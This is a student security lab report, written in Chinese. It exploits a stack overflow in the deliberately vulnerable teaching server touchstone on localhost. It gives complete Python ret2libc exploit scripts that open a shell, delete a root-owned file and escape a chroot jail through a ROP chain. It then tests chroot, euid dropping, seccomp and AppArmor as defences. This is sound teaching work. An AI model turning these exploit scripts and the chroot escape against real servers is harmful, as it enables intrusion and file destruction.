信息系统安全实验记录
利用Web服务器的漏洞进程获取Shell(或删除根权限文件/tmp/test)
实验环境配置
首先,需要配置实验环境。具体来说,需要禁用ASLR,然后编译目标程序,设置touchstone的权限并启动服务器。
1 2 3 4 5
| sudo sysctl -w kernel.randomize_va_space=0 sudo make sudo chown root touchstone sudo chmod +s touchstone ./touchstone
|
服务器启动后的进程信息
然后使用浏览器输入127.0.0.1:80访问服务器界面,输入用户名:lixiang和密码:123456进行注册。
执行攻击
首先,使用ldd查看libc.so.6加载的基地址信息为0xf7d9d000。
image-20240619110810753
使用ropper查看”/bin/bash”字符串相对于基地址的偏移地址为0x0018e363。
1
| ropper --file /lib/i386-linux-gnu/libc.so.6 --string "/bin/sh"
|
image-20240619110952993
使用readelf查看system、exit、unlink函数的地址分别为0x00041780、0x000340c0、0x0004f4100。
1 2 3
| readelf -a /lib/i386-linux-gnu/libc.so.6 | grep " system" readelf -a /lib/i386-linux-gnu/libc.so.6 | grep " exit" readelf -a /lib/i386-linux-gnu/libc.so.6 | grep " unlink"
|
image-20240619112513036
然后根据服务器日志,我们可以看到ebp地址为0xffffd218。
image-20240619112956513
需要定位漏洞点getToken函数。
image-20240619123342290
该函数使用了固定大小的字符数组s[1024],但没有检查i是否超出数组边界。当读取的字符数超过1024时,会发生缓冲区溢出,这是一个栈溢出,然后可以通过覆盖返回地址来实施攻击。
1 2 3 4 5 6
| char s[1024]; while (1){ s[i++] = c; }
|
修改exploit-template.py脚本,将地址替换为上述地址。type1用于获取shell,type2用于删除文件。但首先需要了解漏洞是什么。
为了找到溢出位置,我们必须找到存储返回地址的位置在getToken()栈帧与缓冲区s之间的距离。由于缓冲区变量s的长度为1024,因此该长度必须大于1024。使用以下代码进行探测:
1
| req += b'A' * 1024 + cyclic(200)
|
使用python3运行以获取以下输出。
image-20240619124023743
image-20240619124114951
这是内核输出日志。我们可以看到返回地址被覆盖为0x6161616c,实际上对应于”laaa”,然后计算偏移量为44,因此1024
+ 44 = 1068可以覆盖返回地址。
攻击的Python脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152
| import sys import socket import traceback import struct import time import os.path import binascii from pwn import *
base_addr = 0xf7d9d000
sys_addr = base_addr + 0x00041780
sh_addr = base_addr + 0x0018e363
ex_addr = base_addr + 0x000340c0
ul_addr = base_addr + 0x000f4100
d_addr = 0xdeadbeef
ebp_addr = 0xffffd218
def build_exploit(shellcode, type): ul_arg = "/tmp/test.txt\0" ul_arg_addr = ebp_addr + 20 sys_arg = "/bin/sh\0" sys_arg_addr = ebp_addr + 20 req = ("POST / HTTP/1.1\r\n").encode('latin-1') req += ("Host: 127.0.0.1\r\n").encode('latin-1') req += ("Content-Length: 58\r\n").encode('latin-1') req += ("Origin: http://127.0.0.1\r\n").encode('latin-1') req += ("Connection: keep-alive\r\n").encode('latin-1') req += ("Referer: http://127.0.0.1/\r\n").encode('latin-1') req += ("Hacking: ").encode('latin-1') req += b'A' * 1068 if type == 1: req += p32(sys_addr) req += p32(ex_addr) req += p32(sh_addr) req += p32(0) if type == 2: req += p32(ul_addr) req += p32(ex_addr) req += p32(ul_arg_addr) req += p32(0) req += ul_arg.encode('latin-1') req += ("\r\n").encode('latin-1') req += ("\r\n").encode('latin-1') req += ("login_username=lixiang&login_password=123456&submit_login=Login").encode('latin-1') print(req) return req def send_req(host, port, req): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print("Connecting to %s:%d..." % (host, port)) sock.connect((host, port)) print("Connected, sending request...") sock.send(req) print("Request sent, waiting for reply...") rbuf = sock.recv(1024) resp = ("").encode("latin-1") while len(rbuf): resp = resp+rbuf rbuf = sock.recv(1024) print("Received reply.") sock.close() return resp if len(sys.argv) != 2: print("Usage: " + sys.argv[0] + " type") print("type: 1 for shell, 2 for unlink") exit() try: shellcode = "" req = build_exploit(shellcode, int(sys.argv[1])) print("HTTP request:") print(req) resp = send_req("127.0.0.1", 80, req) print("HTTP response:") print(resp) except: print("Exception:") print(traceback.format_exc())
|
遇到的问题
当服务器进程结束并重启时,常常会发生套接字绑定失败,因为端口80被占用。端口80是Apache服务器的默认端口,因此可以通过将Apache的默认端口修改为8080来解决此问题。
1 2 3 4 5 6 7
| sudo su systemctl disable apache2 vim /etc/apache2/ports.conf # 将Listen 80...更改为:Listen 8080 vim /etc/apache2/sites-available/000-default.conf # 将<VirtualHost *:80>...更改为:<VirtualHost *:8080> systemctl restart apache2
|
修改Apache服务监听端口成功时的图像
我发现通过setuid和sudo以这两种不同方式执行touchstone时,ebp值发生了变化。
image-20240619162514457
image-20240619162549093
AI回答:setuid和sudo提供了不同的权限提升机制。setuid通过设置可执行文件的权限,以文件所有者的权限运行可执行文件,而sudo允许授权用户临时提升权限以执行特定命令。ebp值的变化可能是由于不同的执行环境和安全机制造成的,尤其是在涉及权限提升时。
使用chroot约束Web服务器,执行攻击,删除根权限文件/tmp/test
实验环境配置
为了避免影响之前实验的结果,将代码目录复制到code_chroot。当然,仍然需要禁用地址随机化以避免地址变化。
1
| cp -r ./code ./code_chroot
|
执行chroot配置
在server.c中添加以下代码:
1 2
| if(chroot("/jail") == 0) printf("chroot success\n");
|
image-20240619132459140
1 2 3 4
| make sudo ./chroot-setup.sh cd /jail sudo ./touchstone
|
image-20240619132644219
执行攻击测试
创建测试文件然后启动服务器,发现成功打印了”chroot success”信息。
1 2 3 4 5 6 7 8 9 10 11 12
| # 在tmp目录中创建测试文件 sudo touch /tmp/test.txt sudo chown root /tmp/test.txt ll /tmp/test.txt
# 在/jail/tmp目录中创建测试文件 sudo touch /jail/tmp/test.txt sudo chown root /jail/tmp/test.txt ll /jail/tmp/test.txt
# 在/jail目录中启动服务器 ./touchstone
|
image-20240619135337160
服务器进程的地址信息可能会发生变化,使用gdb重新检查(注意这里使用ldd是错误的,虽然它显示与之前相同,但需要使用gdb动态附加以查看地址)。
手册中的提示:监狱中的库是独立的,位于/jail/lib下(与原路径不同),因此需要重新查找libc基地址。
1 2 3
| ps -aux | grep banksv sudo gdb -q -p <PID> info proc map
|
image-20240619133412947
image-20240619133327610
将脚本中的base_addr修改为exploit_2.py,然后执行删除文件功能。发现\tmp\text.txt未成功删除,但\jail\tmp\text.txt被删除。使用dmesg检查内核调试信息,未发现segmentfault,表明chroot有效,监狱目录外的测试文件未被删除。
image-20240619152219338
删除/tmp/test.txt文件
image-20240621163129108
然后尝试删除/tmp/test.txt文件。这需要使用chroot和chdir相关调用来实现,因此首先需要找到相关地址。
1 2
| readelf -a /lib/i386-linux-gnu/libc.so.6 | grep "chroot" readelf -a /lib/i386-linux-gnu/libc.so.6 | grep "chdir"
|
image-20240621152017101
image-20240621152216367
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171
| import sys import socket import traceback import struct import time import os.path import binascii from pwn import *
base_addr = 0xf7db2000
sys_addr = base_addr + 0x00041780
sh_addr = base_addr + 0x0018e363
ex_addr = base_addr + 0x000340c0
ul_addr = base_addr + 0x000f4100
chr_addr = base_addr + 0x000fce60
chd_addr = base_addr + 0x000f2c70
pop_addr = 0x080d19a4
d_addr = 0xdeadbeef
ebp_addr = 0xffffd218
def build_exploit(shellcode): shift_val = 19 * 4
chd_arg = "..\0\0" chd_arg_addr = ebp_addr + shift_val
chr_arg2 = "server\0\0" chr_arg2_addr = ebp_addr + shift_val + 4
chr_arg = ".\0\0\0" chr_arg_addr = ebp_addr + shift_val + 12
ul_arg = "/tmp/test.txt\0" ul_arg_addr = ebp_addr + shift_val + 16
sys_arg = "/bin/sh\0" sys_arg_addr = ebp_addr + 20
req = ("POST / HTTP/1.1\r\n").encode('latin-1') req += ("Host: 127.0.0.1\r\n").encode('latin-1') req += ("Content-Length: 58\r\n").encode('latin-1') req += ("Origin: http://127.0.0.1\r\n").encode('latin-1') req += ("Connection: keep-alive\r\n").encode('latin-1') req += ("Referer: http://127.0.0.1/\r\n").encode('latin-1')
req += ("Hacking: ").encode('latin-1')
req += b'A' * 1068 req += p32(chr_addr) req += p32(pop_addr) req += p32(chr_arg2_addr)
req += p32(chd_addr) req += p32(pop_addr) req += p32(chd_arg_addr)
req += p32(chd_addr) req += p32(pop_addr) req += p32(chd_arg_addr)
req += p32(chr_addr) req += p32(pop_addr) req += p32(chr_arg_addr)
req += p32(ul_addr) req += p32(pop_addr) req += p32(ul_arg_addr)
req += p32(ex_addr) req += p32(0) req += p32(0)
req += chd_arg.encode('latin-1') req += chr_arg2.encode('latin-1') req += chr_arg.encode('latin-1') req += ul_arg.encode('latin-1')
req += ("\r\n").encode('latin-1') req += ("\r\n").encode('latin-1') req += ("login_username=lixiang&login_password=123456&submit_login=Login").encode('latin-1')
print(req) return req
def send_req(host, port, req): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print("Connecting to %s:%d..." % (host, port)) sock.connect((host, port))
print("Connected, sending request...") sock.send(req)
print("Request sent, waiting for reply...") rbuf = sock.recv(1024) resp = ("").encode("latin-1") while len(rbuf): resp=resp+rbuf rbuf = sock.recv(1024)
print("Received reply.") sock.close() return resp
try: shellcode = "" if(os.path.exists("shellcode.bin")): shellfile = open("shellcode.bin", "r") shellcode = shellfile.read() req = build_exploit(shellcode) print("HTTP request:") print(req)
resp = send_req("127.0.0.1", 80, req) print("HTTP response:") print(resp) except: print("Exception:") print(traceback.format_exc())
|
防御结果分析
chroot是一种用于更改当前进程及其子进程的根目录的技术。通过chroot,进程及其子进程可以限制在特定的目录树中,防止它们访问目录树之外的文件和资源。这种技术通常用于增强系统安全性,特别是隔离服务程序(如Web服务器),以限制潜在攻击影响的范围。
chroot更改调用进程的根目录,使进程认为指定的目录是文件系统的根目录/。这样,进程无法访问该目录之外的任何文件或目录,从而在一定程度上实现进程隔离。
更改进程euid,测试攻击
实验环境配置
为了避免影响之前实验的结果,将代码目录复制到code_euid。当然,仍然需要禁用地址随机化以避免地址变化。
1
| cp -r ./code ./code_euid
|
执行euid配置
在server.c中的fork子进程代码位置添加以下代码:
1 2
| setresuid(1000,1000,1000); printf("User IDs successfully set to 1000.\n");
|
image-20240619153144782
1 2 3
| make sudo chown root touchstone sudo chmod +s touchstone
|
执行攻击测试
创建测试文件然后启动服务器,发现成功打印了”User IDs successfully set
to 1000”信息。
1 2 3 4 5 6 7
| # 在tmp目录中创建测试文件 sudo touch /tmp/test.txt sudo chown root /tmp/test.txt ll /tmp/test.txt
# 启动服务器 ./touchstone
|
image-20240619153651371
执行脚本。由于与任务一没有区别且地址没有变化,直接使用exploit_1.py。
进行shell获取测试,发现可以获取shell,但处于非特权模式。
1
| python3 exploit_1.py 1 # 尝试获取shell
|
image-20240621144856371
1
| python3 exploit_1.py 2 # 尝试删除文件
|
进行文件删除测试,发现/tmp/test.txt文件仍然存在且未被删除。
image-20240619153901043
我们可以尝试将该文件的所有者修改为自己,看看是否可以删除。
1 2
| # 修改测试文件所有者 sudo chown lixiang:root /tmp/test.txt
|
image-20240619154643560
image-20240619161636645
防御结果分析
此防御主要通过降低服务器启动的3个子进程的权限来防止恶意操作作为高权限用户。从上述结果中,我们还可以发现,在主动放弃root权限后,无法删除root拥有的文件,但当文件所有者更改为lixiang(普通用户)时,测试文件可以正常删除。我们还发现一个现象,即使文件的用户组是root,仍然可以删除,表明在删除文件时与用户组无关,而与文件所有者有关。
使用seccomp约束Web服务器的漏洞进程,测试攻击
实验环境配置
同样复制代码以创建一个新的code_seccomp
1
| cp -r ./code ./code_seccomp
|
可以使用以下命令检查内核是否启用了seccomp:
1 2 3 4 5
| # 检查是否启用了seccomp支持: grep CONFIG_SECCOMP= /boot/config-$(uname -r)
# 检查是否启用了seccomp过滤器: grep CONFIG_SECCOMP_FILTER= /boot/config-$(uname -r)
|
image-20240619164635614
如果输出为:CONFIG_SECCOMP=y和CONFIG_SECCOMP_FILTER=y,则表示内核已启用seccomp。要检查特定进程是否启用了seccomp,请使用以下命令:
1
| cat /proc/<pid>/status | grep Seccomp
|
其中表示进程PID,可以使用ps -au查看。如果输出包含Seccomp字段,则表示该进程使用seccomp。如果没有此字段,则表示该进程未使用seccomp。
修改makefile文件,为banksv的编译选项添加-lseccomp
image-20240619170121404
发现添加了一个额外的libseccomp.so.2库,因此libc.so.6的基地址发生了变化,只需在脚本中修改。
image-20240619173424478
执行seccomp编码
默认允许,显式拒绝
修改banksv.c,添加以下代码,使用默认允许规则初始化,并添加拒绝unlink的规则,然后加载seccomp。
image-20240619165715018
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| #include <seccomp.h> void init_seccomp() { int ret; scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_ALLOW); if(ctx == NULL) { exit(-1); } ret = seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(unlink), 0);
if(ret < 0) { exit(-1); } ret = seccomp_load(ctx); if(ret < 0) { exit(-1); } seccomp_release(ctx); } int main(int argc, char** argv) { … init_seccomp(); … }
|
编译并运行服务器
1 2 3 4
| sudo make sudo chown root touchstone sudo chmod +s touchstone sudo ./touchstone
|
默认拒绝,显式允许
修改banksv.c,添加以下代码,默认拒绝所有规则,并添加允许规则,然后加载seccomp。
image-20240619172906034
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| void setup_deny_bydefault_rules() { int ret; scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); if(ctx == NULL) { exit(-1); } seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(rt_sigaction), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(socketcall), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(clone), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(set_robust_list), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getresuid32), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getcwd), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(statx), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(close), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(_llseek), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fcntl64), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(access), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fchmod), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(stat64), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fstat64), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(geteuid32), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fchown32), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fsync), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(system), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(unlink), 0); ret = seccomp_load(ctx); if(ret < 0) { exit(-1); } seccomp_release(ctx); }
|
编译并运行服务器
1 2 3 4
| sudo make sudo chown root touchstone sudo chmod +s touchstone sudo ./touchstone
|
执行攻击测试
默认允许,显式拒绝
首先创建测试文件
1 2 3
| sudo touch /tmp/test.txt sudo chown root /tmp/test.txt ll /tmp/test.txt
|
文件删除和获取shell均失败,并且会弹出系统错误报告。具体结果如下,dmesg内核消息中出现两个审计日志。
image-20240619172118447
这种方法会带来负面影响,例如无法注册和连接重置。
image-20240619171801241
默认拒绝,显式允许
首先创建测试文件
1 2 3
| sudo touch /tmp/test.txt sudo chown root /tmp/test.txt ll /tmp/test.txt
|
文件删除和获取shell均失败,结果如下:
image-20240621133745249
在AI的帮助下,审计日志的含义如下
image-20240621134819072
但我觉得这更麻烦,必须确定需要使用哪些系统调用,个人认为不如前一种好。
防御结果分析
seccomp(全名安全计算模式)是一种沙箱安全机制。在Linux系统中,大量系统调用直接暴露给用户空间程序。然而,并非所有系统调用都是必需的,不安全的代码滥用系统调用可能对系统构成安全威胁。通过seccomp,限制程序使用某些系统调用,可以减少系统的攻击面,并将程序置于“安全”状态,类似于系统调用的防火墙。
使用AppArmor约束Web服务器的漏洞进程,测试攻击
实验环境配置
使用cp创建一个新的代码目录code_apparmor,然后需要启动apparmor并安装相关工具。
1 2 3 4 5
| cp -r ./code ./code_apparmor
# 安装AppArmor和相关工具 sudo systemctl start apparmor sudo apt install apparmor-profiles apparmor-utils
|
应用AppArmor
在服务器启动运行后,使用aa-genprof为banksv生成配置文件:
1 2 3
| sudo ./touchstone
sudo aa-genprof banksv
|
按F跳过,并结合aa-logprof手动添加规则以改进配置文件。配置文件路径为/etc/apparmor.d/home.lixiang.Desktop.lab2.code_apparmor.banksv。
image-20240619184538978
打开配置文件并写入以下内容:
image-20240619185627994
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| # 最后修改时间:2024年6月19日03:45:02 #include <tunables/global>
/home/lixiang/Desktop/lab2/code_apparmor/banksv {
# 包含apache2-common和基本抽象,这些抽象包含一些常见的权限设置。 include <abstractions/apache2-common> include <abstractions/base> # 拒绝对/tmp目录中任何文件的读/写操作 deny /tmp/** mrwx,
# 允许对code_task5目录中所有文件的只读访问 /home/lixiang/Desktop/lab2/code_apparmor/** mr,
}
|
重新加载配置文件以使上述配置文件生效:
1
| sudo apparmor_parser -r /etc/apparmor.d/home.lixiang.Desktop.lab2.code_apparmor.banksv
|
执行攻击测试
首先创建测试文件
1 2 3
| sudo touch /tmp/test.txt sudo chown root /tmp/test.txt ll /tmp/test.txt
|
文件删除失败:
image-20240619190107460
获取shell失败:
image-20240619190000149
使用dmesg查看内核输出日志,发现两个拒绝规则,正是shell执行和unlink:
image-20240619191557469
遇到的问题
一旦在配置文件中定义了对/tmp文件夹的拒绝,使用dmesg无法看到unlink被拒绝的消息,但不定义时可以看到,这感觉很奇怪。另一种可能性是包含的配置文件本身包含最基本的访问控制,包括unlink,但文件路径限制将直接导致一个问题,即访问拦截,文件访问请求在文件系统级别被完全拦截,程序可能没有机会尝试unlink操作。
1 2
| # 拒绝对/tmp目录中任何文件的读/写操作 deny /tmp/** mrwx,
|
防御结果分析
AppArmor(应用程序保护)是一个Linux内核安全模块,用于限制程序的能力,允许系统管理员定义每个程序可以访问的资源。AppArmor使用基于路径的访问控制机制,通过配置文件定义程序的安全策略。
AppArmor的主要特性:
- 基于路径的访问控制:
- 使用文件系统路径定义访问控制规则。
- 配置文件指定程序可以访问哪些文件、目录和资源。
- 配置文件:
- 每个受保护程序都有一个相应的配置文件,通常位于
/etc/apparmor.d/目录中。
- 配置文件定义程序的权限,包括文件访问、网络访问、能力等。
- 两种模式:
- 强制模式:严格执行配置文件中的规则,任何违反规则的行为将被阻止并记录。
- 投诉模式:记录违反规则的行为,但不阻止操作。此模式通常用于调试和配置规则。
- 集成到Linux内核中:
- 作为Linux安全模块(LSM)的一部分,直接在内核中实现,提供高效的安全控制。
- 灵活性:
- 支持不同的抽象文件(如
<abstractions/base>和<abstractions/apache2-common>),用于简化常见权限的配置。